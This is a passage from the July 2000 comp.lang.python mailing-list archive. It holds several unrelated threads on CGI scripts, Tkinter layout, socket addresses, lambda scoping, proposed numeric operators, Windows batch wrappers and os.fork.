news:8F776CE84nickperkinsusanet at 203.2.75.243...
> Hi. I was wondering if anyone could point me in the direction of some GUI
> help for windows. I would like to write a program using the windows API
> set, but the help file that came in the win32all package doesn't make any
> sence to me. If someone can point me in the direction of maybe a tutorial
> or a nice document that can help, I would be greatful
>
> Thanks in Advance,
> Nick Perkins




From bjorn at roguewave.com  Thu Jul  6 13:47:33 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 06 Jul 2000 11:47:33 -0600
Subject: Hello Word in CGI
References: <3963C29E.76211EB7@bioeng.ucsd.edu> <3963E6D6.F47FA4D8@roguewave.com> <3964BC64.761858FA@bioeng.ucsd.edu>
Message-ID: <3964C635.E730EB97@roguewave.com>

Curtis Jensen wrote:
> 
> Bjorn Pettersen wrote:
> >
> > What you're seeing are the symptoms of Python having thrown an exception
> > and the weblog not capturing all the information. The solution is to make
> > sure Python can only throw where you can grab the exception and do
> > something useful with it, like printing it to the browser...  Try the
> > following (but make sure you can execute it from the command line first --
> > one possible error is a SyntaxError, which this scheme will not save you
> > from...)
> >
> > -- bjorn
> >
> > #!/usr/bin/env python
> > print """Content-type: text/html
> >
> > """
> >
> > def main():
> >     from time import *
> >
> >     print "<HTML>"
> >     print "<Head>"
> >     print "<Title>Hello World</Title>"
> >     print "</Head>"
> >     print "<Body>"
> >     print "<H1>Hello World !</H1>"
> >     print "<hr>"
> >     print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"
> >
> >     print "</Body>"
> >     print "</HTML>"
> >
> > import traceback
> >
> > def execute(fn):
> >     # make sure any errors are legible, and directed to the user.
> >     try:
> >         sys.stderr = sys.stdout
> >         fn()
> >     except:
> >         print '<h1>Something went wrong!!!</h1>'
> >         print 'Please send the transcript below to webmaster at your.web<p>'
> >         print '\n\n<pre>'
> >         traceback.print_exc()
> >
> > execute(main)
> >
> 
> I tried this.  I got the same errors in the log and in the browser.  I
> took out the print line since it caused a discussion.  Any more
> suggestions?  Thanks.

You do need the print line! The first thing your cgi must print out
(modulo cookies) is "Content-type: text/html" followed by exactly two
newlines (yes, I know there are situations where this isn't true, but in
this case it is.. <wink>)

Check that:

 - your script is executable (by everyone)
 - some webservers require a .cgi extension (a symbolic link to your .py
will work)
 - python is where you think it is, and is executable (again by
everyone)
 - your webserver is set up to execute cgi scripts.

If all that works, try the simplest possible cgi script, something like:

#!/usr/local/bin/python
print  """Content-type: text/html

"""
print '<h1>hello world</h1>'

hth, 
-- bjorn



From didier.willame at ieee.org  Fri Jul 14 08:53:24 2000
From: didier.willame at ieee.org (Didier WILLAME)
Date: Fri, 14 Jul 2000 12:53:24 GMT
Subject: Local CGI programming
Message-ID: <396F0F28.7C8B8B83@ieee.org>

Hello all,

I need to call a CGI python script with my web browser, on my WIN NT
station (local hard drive).

To test this, I have written the following script. But the new page
(built by the python script) is not diplayed by the web browser!

Is a http service needed to perform this test?
  If yes, what minimal product propose you?
  If no, what is the error?

Thank you for your time,
Didier

--
C:\temp\user.html
--
<HTML>
  <HEAD>
  </HEAD>
  <BODY>
    <CENTER>
    <FORM METHOD="post" action="file:///C|/temp/cgi-bin/user.py">
      enter data: <INPUT TYPE="text" NAME="data" SIZE="40">
      <BR>
      <INPUT TYPE="submit" VALUE="submit!">
    </FORM>
    </CENTER>
  </BODY>
</HTML>

--
C:\temp\cgi-bin\user.py
--
import cgi

def go():
  form = cgi.FieldStorage()

  print 'Content-type: text/html\n'
  print ''
  print '<HTML><BODY>'
  if form.has_key( 'data' ) and form[ 'data' ].value != '':
    print '<H1>The data are: ', form[ 'data' ].value, '</H1>'
  else:
    print '<H1>Error! Please enter data.</H1>'
  print '</BODY></HTML>'

if __name__ == '__main__': go()


From kpmurphy at my-deja.com.bbs  Mon Jul 17 15:40:05 2000
From: kpmurphy at my-deja.com.bbs (kpmurphy at my-deja.com.bbs)
Date: 17 Jul 2000 19:40:05 GMT
Subject: Grid Geometry Manager and grouping?
Message-ID: <3bRNB5$km0@openbazaar.net>

richard,

	what i'm trying to do is create my own widgets.  once i make one, i'd
like to be able to grid it.  each of my widgets will have multiple items
in it (ex. label and an entry ==> myWidget) and then i would place
multiples of myWidget together.  i like the grid manager because i can
put things exactly where i want them.  can you do a grid inside a frame,
then grid multiple frames toghether?   thanks,

-->keith

In article <H5N85.886$dL5.17528 at news6-win.server.ntlworld.com>,
  "richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote:
> Hi Keith,
>
> For what purpose do you want to group the areas?
>
> An example of frames:
>
> from Tkinter import *
> root=Tk()
> frame1=Frame(root,relief=GROOVE,borderwidth=3)
> frame2=Frame(root,relief=GROOVE,borderwidth=3)
> for i in range(1,9):
>     Label(frame1,text="Frame: 1 - Label: %d" %i).pack()
>     Label(frame2,text="Frame: 2 - Label: %d" %i).pack()
> frame1.pack(side=LEFT,fill=BOTH,expand=1)
> frame2.pack(side=LEFT,fill=BOTH,expand=1)
>
> root.mainloop()
>
> Pmw has got Pmw.Group, a framed widget on which you can have a label
or
> other widget in the frame and then a number of widgets within the
frame.
>
> Give me an example of what you want to achieve and I'll have a go.
>
> Richard
>
> Keith Murphy <kpmurphy at my-deja.com> wrote in message
> news:8k013q$lon$1 at nnrp1.deja.com...
> > i've found that i like grid the best.  is there a way to group
sections
> > of the window together... like the left side is for one purpose and
the
> > right for another?  I have been playing with frames to no avail.
> >
> > i really appreciate all the help this ng has given me thus far in
> > learning python.  kudos to all of you!
> >
> > -->keith
> >
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From db3l at fitlinxx.com  Mon Jul 17 21:34:20 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 17 Jul 2000 21:34:20 -0400
Subject: Getting local IP address...
References: <CC59868A0A76D311B1F50090277B321C1F342C@VRTMAIL>
Message-ID: <uitu45ihv.fsf@ctwd0143.fitlinxx.com>

Mike Fletcher <mfletch at tpresence.com> writes:

> import socket
> def getLocalHostIP( remote = ("www.python.org", 80)):
> 	'''Get the "public" address of the local machine, i.e.
> 	that address which is connected to the general internet.
> 	Code by Donn Cave, posted to comp.lang.python'''
> 	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> 	s.connect( remote )
> 	ip, localport = s.getsockname()
> 	s.close()
> 	return ip
> 
> That is actually from a Deja posting, seems to be fairly portable, doesn't
> rely on parsing obscure Unix command responses, is readable, and is
> generally quite reliable.

But has a pretty large (IMHO) negative that you are making a wasted
network connection to an external server that has to spend time
setting up and tearing down TCP with you for no reason.  That seems a
pretty high overhead to pay just to determine what is essentially a
locally configured piece of information.  If you are in charge of your
own server that you are using I suppose that's one thing, but it seems
a big waste if you're connecting to someone else's.

Unfortunately, really determining a local configured address just
isn't that portable a thing from my experience.  Probably the closest
would be the SIOCGIFCONF IOCtl (for Unix systems) as previously
posted.  There is an Windows socket IOCtl that is similar
(SIO_ADDRESS_LIST_QUERY), but I'm not sure how best to get to it from
Python, aside from something like a CallDLL approach.

While without an alternative that is portable as the above example
makes it hard to come out too strong against it, I did want to point
out that while it may be portable and readable, it has negatives on
the network side in terms of wasted connections.  I built backbones in
a prior life, and I sort of cringe to think of tons of user code
suddenly starting to do stuff like the above :-)

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From jhe at webde-ag.de  Fri Jul  7 12:58:09 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Fri, 7 Jul 2000 18:58:09 +0200
Subject: Comparing 2 class types
References: <L2k95.37383$NP5.1176274@newsread2.prod.itd.earthlink.net>
Message-ID: <8k5243$1gc$1@pollux.ip-plus.net>

"Arint?" <shouldbe at message.com> schrieb im Newsbeitrag
news:L2k95.37383$NP5.1176274 at newsread2.prod.itd.earthlink.net...
> How can you know if a 2 variables are different instances of the same
class?
> x = someclass()
> y= someclass()
> I tried is, type, and type(x)  is someclass, but none seem to work unless
I
> did it wrong.

>>> class x: pass
...
>>> spam = x()
>>> eggs = x()
>>> spam
<__main__.x instance at 80bfa0>
>>> spam.__class__
<class __main__.x at 80b990>
>>> spam.__class__ is eggs.__class__
1
>>> isinstance(spam, eggs.__class__)
1





From wolfgang.thaemelt at orsoft.de  Mon Jul  3 08:41:26 2000
From: wolfgang.thaemelt at orsoft.de (Wolfgang Thaemelt)
Date: Mon, 3 Jul 2000 14:41:26 +0200
Subject: lambda requirements
Message-ID: <000101bfe4ec$010e1c60$a5dfdfdf@ors-x-wt1.or_soft.de>

Running the script:

#----------------------------------------- begin of script
def SymmetricDifference(list1, list2):
#      global _list1
#      global _list2

      _list1 = list1
      _list2 = list2

      _onlylist1 = filter(lambda x: x not in _list2, _list1)

      return _onlylist1

if __name__ == '__main__':
  a = [1,2,3,4,5]
  b = [3,4,5,6,7]
  x = SymmetricDifference(a,b)

  print x
#---------------------------------------- end of script

gives the error:

Traceback (innermost last):
  File "E:\up\000701\symmdiff.py", line 16, in ?
    x = SymmetricDifference(a,b)
  File "E:\up\000701\symmdiff.py", line 9, in SymmetricDifference
    _onlylist1 = filter(lambda x: x not in _list2, _list1)
  File "E:\up\000701\symmdiff.py", line 9, in <lambda>
    _onlylist1 = filter(lambda x: x not in _list2, _list1)
NameError: _list2

If the comment characters "#"  are removed from the "global" statements
everything works fine.

Is there some requirement on a lambda violated in the script?


Thanks

Wolfgang Thaemelt


OR Soft Jaenicke GmbH
Geusaer Str., FH Geb. 106
06217 Merseburg
Germany
======================================
Email: wolfgang.thaemelt at orsoft.de
Voice: +49-3461-549033
Fax:   +49-3461-549022




From fiona at sitegnome.com.bbs  Wed Jul 12 06:10:03 2000
From: fiona at sitegnome.com.bbs (fiona at sitegnome.com.bbs)
Date: 12 Jul 2000 10:10:03 GMT
Subject: [FAQTS] Python Knowledge Base Update -- July 12th, 2000
Message-ID: <3bNCgU$oC5@openbazaar.net>

Greetings,

Here are the latest entries to be entered into http://python.faqts.com

regards,

Fiona Czuczman


## New Entries #################################################


-------------------------------------------------------------
How do you read from / write to the system clipboard from Tkinter?
http://www.faqts.com/knowledge-base/view.phtml/aid/4668
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain

I presume that you want to paste or copy into or out of an entry or
text, these widgets already have copy and paste keystrokes assigned to
them (at least they do on windows). So I can do Control-c and that
copies it into the clipboard and Control-p pastes it. so:

from Tkinter import *
root=Tk()
text=Text(root)
text.pack()
root.clipboard_clear()
root.clipboard_append('python rules!')
def paste(event):
    text.event_generate('<Control-v>')
text.bind('<FocusIn>',paste)
root.mainloop()

In this example we append your 'python rules!' to the clipboard and then
wait until the text control gets the focus and then we generate a
<Control-v> event to paste the contents in.


-------------------------------------------------------------
What's the Python equivalent for C's #include "myfile.h"?
http://www.faqts.com/knowledge-base/view.phtml/aid/4669
-------------------------------------------------------------
Fiona Czuczman
Rainer Deyke, Matthew Schinckel

The standard substitute is:

>>> import myfile
or
>>> from myfile import *

However, this is not quite equivalent to #include.  If you really need
behavior identical to #include, you could try the following:

exec open("myfile.h").read()


-------------------------------------------------------------
How can I enumerate drives (local and network) in Python?
http://www.faqts.com/knowledge-base/view.phtml/aid/4670
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain

On Win32 you can use:

import win32api,string

drives=win32api.GetLogicalDriveStrings()
drives=string.splitfields(drives,'\000')
print drives

GetLogicalDriveStrings returns a string with each drive null terminated
so you can use the string module to separate them into a list.

There is also a win32api.GetLogicalDrives() which returns a bitmask
where each bit represents a drive letter, so 1101 (or 13 in decimal)
would represent (going from right to left) a:\,c:\ and d:\.


-------------------------------------------------------------
What is the difference between the calls PyObject_GetAttr and PyObject_GetAttrString?
http://www.faqts.com/knowledge-base/view.phtml/aid/4671
-------------------------------------------------------------
Fiona Czuczman
Thomas Wouters

PyObject_GetAttrString takes a PyObject pointer and a char pointer,
whereas PyObject_GetAttr takes two PyObject pointers: the second
argument should be a PyString, which is then turned into a char pointer
(using PyString_AS_STRING) and passed to PyObject_GetAttrString.


## Edited Entries ##############################################


-------------------------------------------------------------
How can I create a stand alone "win32" executable file from a python script?
Is a compiler available anywhere for python for win32?
http://www.faqts.com/knowledge-base/view.phtml/aid/3111
-------------------------------------------------------------
Fiona Czuczman
Daley, MarkX

http://starship.python.net/crew/gmcm/index.html

This link will provide you with a pretty good wrapper that gives you a
one-file installer executable.  I'm pretty sure it's win32.


From perry at eclipse.stsci.edu  Thu Jul 20 13:17:52 2000
From: perry at eclipse.stsci.edu (Perry Greenfield)
Date: 20 Jul 2000 17:17:52 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be>
Message-ID: <8l7c80$mlc$1@tomm.stsci.edu>

We are planning to use Numeric (or its future equivalent) heavily for
our software. One thing we would strongly object to is making 
matrix operators the default. The vast majority of our manipulations 
(on images and spectra) involve elementwise operations. This would be
consistent with what most astronomers would expect (and how IDL--currently
the most commonly used array-based language in the astronomical community 
by far--handles it).

Use of parentheses for matrix operators that Konrad Hinsen proposed
appears to be the best solution I've seen so far. But perhaps the two
camps won't be able to agree which should be the default, in which case
there should be two different modules based on the same Numeric core with
different operator mappings previously suggested. I don't necessarily see
that a lack of agreement on this issue should prevent adding the new
operators to Python as long as everyone agrees with the operator syntax.
But adopting one scheme (ours of course :-) would certainly be best.

Perry Greenfield


From see at my.signature  Sun Jul  9 22:14:33 2000
From: see at my.signature (Greg Ewing)
Date: Mon, 10 Jul 2000 14:14:33 +1200
Subject: Namespace Mystery (HELP!)
References: <39655351.9EE499F2@sunesis-pharma.com> <39656345.86AADA8A@prescod.net> <qLg95.20564$R7.3640142@juliett.dax.net> <39660D24.63BE61D3@sunesis-pharma.com>
Message-ID: <39693189.E5BE8C6@my.signature>

If you're devious enough, it can be done (warning,
trying to understand how this works may cause
brain explosion):

def spam():
  my_globals = {}
  parrot = 'alive'
  cmd = "global g; g = 42; parrot = 'resting'"
  exec "exec cmd in my_globals, locals()"
  print my_globals['g'], parrot

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From rob at hooft.net  Wed Jul 19 06:00:37 2000
From: rob at hooft.net (Rob W. W. Hooft)
Date: Wed, 19 Jul 2000 12:00:37 +0200 (CEST)
Subject: Toplevel "test()" functions in standard library
In-Reply-To: <Pine.GSO.4.10.10007191248480.20546-100000@sundial>
References: <m2vgy28uwi.fsf@hooft.net>
	<Pine.GSO.4.10.10007191248480.20546-100000@sundial>
Message-ID: <14709.31813.259826.332843@temoleh.chem.uu.nl>

>>>>> "MZ" == Moshe Zadka <moshez at math.huji.ac.il> writes:

 >> Going one step further: Should all of these "test()" and "_test()"
 >> routines be in the code library at all, even now that we have a
 >> complete test engine?

 MZ> Yes! This is a preliminary test, which should be available to
 MZ> every user of the library. If you're optimizing the few KB it
 MZ> takes, then you're not using Python correctly.

If that is the common opinion or the opinion of our Ruler, I will
subtract my proposal, and submit a bug report that those test()
routines are undocumented.

As a reply to your last sentence I can add that my own programs can
use up to 200MB of memory during normal use, or much more if you
really stress them.

Rob

-- 
=====   rob at hooft.net          http://www.hooft.net/people/rob/  =====
=====   R&D, Nonius BV, Delft  http://www.nonius.nl/             =====
===== PGPid 0xFA19277D ========================== Use Linux! =========



From olipt at mayo.edu  Sat Jul 22 12:30:53 2000
From: olipt at mayo.edu (Travis Oliphant)
Date: Sat, 22 Jul 2000 11:30:53 -0500
Subject: Discussion: new operators for numerical computation
In-Reply-To: <m2wvifm2bd.fsf@spiff.home.com>
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com>
Message-ID: <Pine.LNX.4.10.10007221126350.20922-100000@us2.mayo.edu>

> -----------------------------------------------------------------------
> 
> Proposal two, which for lack of a better name I'll call Konrad's proposal:
> 
> New Operators: (+), (-), (/), (*)[outer], (.)[dot], (|)[solve], (^)[power] 
> 
> NumPy and MatPy would have that same syntax: the new operators correspond to
> matrix operations in both MatPy and matrix operators in NumPy.
> 

> Given these two basic proposals, I strongly prefer Konrad's. I think
> the syntax is more evocative of matrix operations. From the tone of
> other post on this syntax, this syntax seems to be accepted, perhaps
> even prefered, by most most people. I also am strongly a proponent of
> the syntax of various Numeric packages being a similar as possible. In
> this case NumPy and MatPy.
> 

I strongly prefer this syntax as well for any new operators, for the same
basic reasons.  

We could use (!) for solve and (**) for power (actually I'm not as
convinced that we NEED a solve.  But...) .  This might assuage some
purists in python-dev.  I think it's useful to keep in mind tht we are
not just attracting Matlab users, but IDL, PyWave, J, and other's as well.

-Travis





From Cedric.Lefeuvre at tcomhp43.epfl.ch  Tue Jul 11 17:54:13 2000
From: Cedric.Lefeuvre at tcomhp43.epfl.ch (Cedric Lefeuvre)
Date: Tue, 11 Jul 2000 23:54:13 +0200
Subject: Glade
Message-ID: <396B9784.191A513D@tcomhp43.epfl.ch>

Hello!

I am a beginner for python and i want to know somethings about
Glade.....

1...Is there a good documentation because i didn't succeed in finding
one in the official site.

2...What is the capacity of Glade..I mean it seems to be easy to create
static windows but is there the possibility (in the way to show results
of some applications) for example to change the size of a tree or a a
table....

thanks

PS...if you can answer by email...it would be easier for me...



--
C?dric Lefeuvre
SUPAERO 2A-Stagiaire EPFL
0041 (0)21 693 26 16
http://eleves.supaero.fr/page-perso/promo_01/lefeuvre/
Fax: 0041 (0)21 693 26 83
 _ _ _/_  _
( (-(// /(


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000711/039dd334/attachment.html>

From MarkH at ActiveState.com  Sat Jul  1 09:35:32 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Sat, 01 Jul 2000 13:35:32 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com>
Message-ID: <Esm75.3448$Tb7.23118@news-server.bigpond.net.au>

Just to stoke the flames a little...

Check out some of the talks at the upcoming PDC -
http://www.pdc.mscorpevents.com/sessions.asp?tracks=6 - look for Python
:-)

Mark.
--
markh at activestate.com - but if you think I speak for them, you dont know
Dick!




From scarblac-spamtrap at pino.selwerd.nl  Tue Jul  4 09:15:50 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 4 Jul 2000 13:15:50 GMT
Subject: Win32 : Making script.py executable in DOS box
References: <8jmjfe$64o$1@nnrp1.deja.com> <WzI75.5714$Tb7.31718@news-server.bigpond.net.au> <8jp3pt$q7j$1@nnrp1.deja.com>
Message-ID: <slrn8m3ol2.g8h.scarblac-spamtrap@flits104-37.flits.rug.nl>

Neo Brave wrote in comp.lang.python:
> In article <WzI75.5714$Tb7.31718 at news-server.bigpond.net.au>,
>   "Mark Hammond" <MarkH at ActiveState.com> wrote:
> > Under Windows NT or Win2k, you can use the PATHEXT environment
> > variable. Simply add ".py" to the semi-colon sep'd list of
> > extensions, and off you go!
> 
> Great, thats a help for NT, but I also want to do this on Win98 :-).

There is another trick (originally by Bruce Eckel). Name your Python
file ".bat" instead of ".py" and use the following hack:

@echo off
rem = """
rem Run python on this bat file. Needs the full path where
rem you keep your Python files. The -x causes Python to skip the first
rem line of the file:
python -x c:\python\\"%0".bat %1 %2 %3 %4 %5 %6 %7 %8 %9
goto endofpython
rem """

# The Python program goes here:

print "hello, python"

# For the end of the batch file:

rem = """
:endofpython
rem """


Or just make a .bat file that goes with your .py file and calls python
for it...

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
  3:12pm  up 120 days,  3:25,  5 users,  load average: 0.33, 0.29, 0.20


From olipt at mayo.edu  Sat Jul 22 12:32:48 2000
From: olipt at mayo.edu (Travis Oliphant)
Date: Sat, 22 Jul 2000 11:32:48 -0500
Subject: Discussion: new operators for numerical computation
In-Reply-To: <8laptf$4mo@stochastic.eng.umd.edu>
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nf8vv.rb.hzhu@localhost.localdomain> <8l8dmd$4p0@stochastic.eng.umd.edu> <slrn8nfsvg.rb.hzhu@localhost.localdomain> <8laptf$4mo@stochastic.eng.umd.edu>
Message-ID: <Pine.LNX.4.10.10007221131000.20922-100000@us2.mayo.edu>

> 
> And while we're pondering reimplementaions, it might be cool to move
> as much non-performance-critical code as feasible up into a Python
> layer to ease synchronization between [C/J/IL?/???]Numeric.  The top
> layer would be shared, and only the core would be in whichever
> low-level language.
> 

This is exactly what I'm doing right now with the help of about 2 other
people (whomever wants to help is welcome to join us).  It's called numpy2
and is available on the CVS tree at SourceForge under the same module
name in the Numeric project. 

Quite a few of the details are already fleshed out.  We need some C coders
at this point.

-Travis




From alex at magenta.com  Sat Jul 29 08:07:17 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 29 Jul 2000 14:07:17 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m2bsznl3n0.fsf@spiff.home.com> <slrn8nprct.3i1.hzhu@rocket.knowledgetrack.com> <8lla9m$hfd$1@animus.fel.iae.nl> <slrn8o42dq.1cq.hzhu@rocket.knowledgetrack.com>
Message-ID: <8luhsp51ce8@news2.newsguy.com>

"Huaiyu Zhu" <hzhu at users.sourceforge.net> wrote in message
news:slrn8o42dq.1cq.hzhu at rocket.knowledgetrack.com...
    [snip]
> >| becomes ~or,
> >^ becomes ~xor,
> >& becomes ~and, and
> >~ becomes ~not, reading like bitwise or, bitwise xor etc.
>
> This would indeed be an excellent option if not for backward
compatibility.
    [snip]
> FLAG = bitwise.or(FLAG1, FLAG2, FLAG3, FLAG4, FLAG5, FLAG6, FLAG7, FLAG8)

What an EXCELLENT idea.  shift left/right could also be packaged that
way (or, almost so; 'or' is a reserved words in Python...).

> quite "unpythonic" to let them occupy four unique ascii characters as

Agreed, and worse if you consider << and >>.

> Furthermore, unlike math operators, unless you are designing a logical
> circuit, it is rare to construct complicated formulas with these
operators.
> So brevity is really not important for them.

The 'bitwise' module could supply easily explicit bitfield-extraction
in place of the mask-and-shift idioms, too.

Oh well -- maybe a hint for Python 3000, when backwards compatibility
can be broken...!


Alex





From greg at perceval.be  Fri Jul 14 04:37:31 2000
From: greg at perceval.be (Gregoire Welraeds)
Date: Fri, 14 Jul 2000 10:37:31 +0200 (CEST)
Subject: getpid Usage
In-Reply-To: <8kksms+n5h5@eGroups.com>
Message-ID: <Pine.BSF.4.10.10007141021410.5717-100000@hercule.perceval.be>

In reply to the message of david at tumbleweed.com sent on Jul 13 (see below) :

You should have a look at the os.fork() function which is  python
"translation" of the fork system call (availability Unix). 

It lets you create a new process (a child process) from the current one
(called the parent process). The child process execute the same than
the parent process. Thus, you have two processes, executing the same
code. The fork() function return 0 in the child process and the id
of the new created process for the parent process.

See the following example:

import os

i= os.fork()	# Create the new process

if i != 0:	# If i != 0, we are in the parent process
	print 'Forked process as the pid : ', i
else:		# We are in the child process
	os.system('ls -la')


hope-I-have-been-clear-enoughly-yours,

Gregoire Welraeds
greg at perceval.be
Perceval Development team
-------------------------------------------------------------------------------
Perceval Technologies sa/nv	Tel: +32-2-6409194		
Rue Tenbosch, 9			Fax: +32-2-6403154		
B-1000 Brussels			general information:   info at perceval.net
BELGIUM				technical information: helpdesk at perceval.net
URL: http://www.perceval.be/
-------------------------------------------------------------------------------

On Thu, 13 Jul 2000 david at tumbleweed.com wrote:

> Date: Thu, 13 Jul 2000 17:02:20 -0000
> From: david at tumbleweed.com
> To: python-list at cwi.nl
> Subject: getpid Usage
> 
> Is there some convenient way of getting os.getpid to return the PID of
> a given executable? What I want to do is start a process and know it's
> PID. When I do the following I get the PID of the python executable.
> 
> os.system("path")
> os.getpid()
> 
> Alternatively, as a hack, I am doing:
> os.system(self.m_server_start_exe)
> for line in os.popen("ps -ef | grep -i IMEController | awk '{ if (NR >
> 1) { print $2 }}'").readlines():
>             pid = line[:-1]
> 
> I would rather just path in an executable name/pathname and have it
> return this process' pid. Is there an updated version of os.getpid I
> could use to do this. If not, is there a better solution that is not
> shell dependent?
> 
> Thanks,
> David
> 
> 
> 
> -- 
> http://www.python.org/mailman/listinfo/python-list
> 
> 




From spamfranke at bigfoot.de  Sat Jul  1 13:42:53 2000
From: spamfranke at bigfoot.de (Stefan Franke)
Date: Sat, 01 Jul 2000 17:42:53 GMT
Subject: Communicating between two computers
References: <395d48b3$0$21842@wodc7nh0.news.uu.net>
Message-ID: <395e2ca2.4792092@news.btx.dtag.de>

A simple out-of-the box solution if win32all is installed on both machines:

The PythonWin package by default registers a Python.Interpreter COM server,
which you can start up via DCOM on any remote machine.

Once started, you can execute any Python commands as strings.
/s



From nobody at nowhere.nohow  Fri Jul 28 21:38:26 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 01:38:26 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <20000729085800.D15002@inkontact.com.au>
Message-ID: <slrn8o4dci.abr.nobody@isis.visi.com>

In article <20000729085800.D15002 at inkontact.com.au>, Steve Purcell wrote:
>Steve Lamb wrote:
>> 
>> [snip]  I think I've been at least fair to Python,
>> all things consider.  I really do like the language, I guess I was just hoping
>> too much from the people.    
>
>Hey, I resemble that remark!     (a favourite pun I stole from a friend)

Groucho Marx was a frind of yours?  Cool. He kills.

Just remember: you say it you've got to waggle your cigar and roll your eyes
at the camera...

BTW, it's a probably more of a malapropism than a pun.

-- 
Grant Edwards                   grante             Yow!  ... the HIGHWAY
                                  at               is made out of LIME
                               visi.com            JELLO and my HONDA is a
                                                   barbequeuedOYSTER! Yum!


From samschul at pacbell.net  Fri Jul  7 15:09:32 2000
From: samschul at pacbell.net (Sam Schulenburg)
Date: Fri, 07 Jul 2000 19:09:32 GMT
Subject: How do I ring the bell?
References: <8k2lcd$59v$1@gossamer.itmel.bhp.com.au>
Message-ID: <8k59t7$1vt$1@nnrp1.deja.com>

If you are working under Windows see these routines.
Then contain an example on how to call into kernal32.dll
http://www.nightmare.com/~rushing/dynwin/

Sam Schulenburg



In article <8k2lcd$59v$1 at gossamer.itmel.bhp.com.au>,
  "A J Wilson" <wilson.austin.aj at bhp.com.au> wrote:
> Hi
>
> I would like to ring the PC's bell (ie internal speaker) to alert the
> operator that an operation has finished running.  How do I do this in
my
> python program?
>
> Thanks
> Austin
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From mbel44 at dial.pipex.net  Tue Jul 25 07:20:58 2000
From: mbel44 at dial.pipex.net (Toby Dickenson)
Date: Tue, 25 Jul 2000 12:20:58 +0100
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net>
Message-ID: <rhtqnsokl1imfpm19rg3r1ep2e1b52vnaq@4ax.com>

Paul Prescod <paul at prescod.net> wrote:

>http://python.sourceforge.net/peps/pep-0213.html
>
>PEP: 213
>Title: Attribute Access Handlers
>Version: $Revision: 1.3 $
>Owner: paul at prescod.net (Paul Prescod)
>Python-Version: 2.0
>Status: Incomplete

>Proposed Implementation

>    Property fetching
>
>        At the layer, Python instance attribute lookup is always done 
>        through PyInstance_getattr.
> 
>        A "get" proceeds as usual until just before the object is
>        returned.  In addition to the current check whether the returned
>        object is a method it would also check whether a returned object
>        is an access handler. If so, it would invoke the getter method
>        and return the value.

How does PyInstance_getattr know that an object "is an access handler"

I can see some cases where it would be appealing to implement a
property access handler in a C extension. Is it worth dedicating a
slot in PyTypeObject for these things?


Toby Dickenson
tdickenson at geminidataloggers.com


From stephen_purcell at yahoo.com  Tue Jul  4 08:34:53 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Tue, 04 Jul 2000 12:34:53 -0000
Subject: Performance
In-Reply-To: <39619175.5F8B503D@proceryon.at>
Message-ID: <8jslld+s3p0@eGroups.com>

Horst Gassner <horst at p...> wrote:
> The following function is one of the slower ones and I would be
happy if
> there are any possibilties to speed this thing up.
> 
> subItems = {}
> if s.__subList[level] :
> 	for key in s.__subList[level].keys ():
> 		# root level is special case!
> 		# get all sublevels without recognizing id of sublevel
> 		if level==0 or string.find(key, id) == 0 :
> 			subItems[key] = s.__subList[level][key]

How about:

subItems = {}
if s.__subList[level]:
  for key,value in s.__subList[level].items():
    if not level or not string.find(key,id):
      subItems[key] = value

--
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
"Life must be simple if I can do it" -- Me





From cookedm at physics.mcmaster.ca  Mon Jul 17 17:39:33 2000
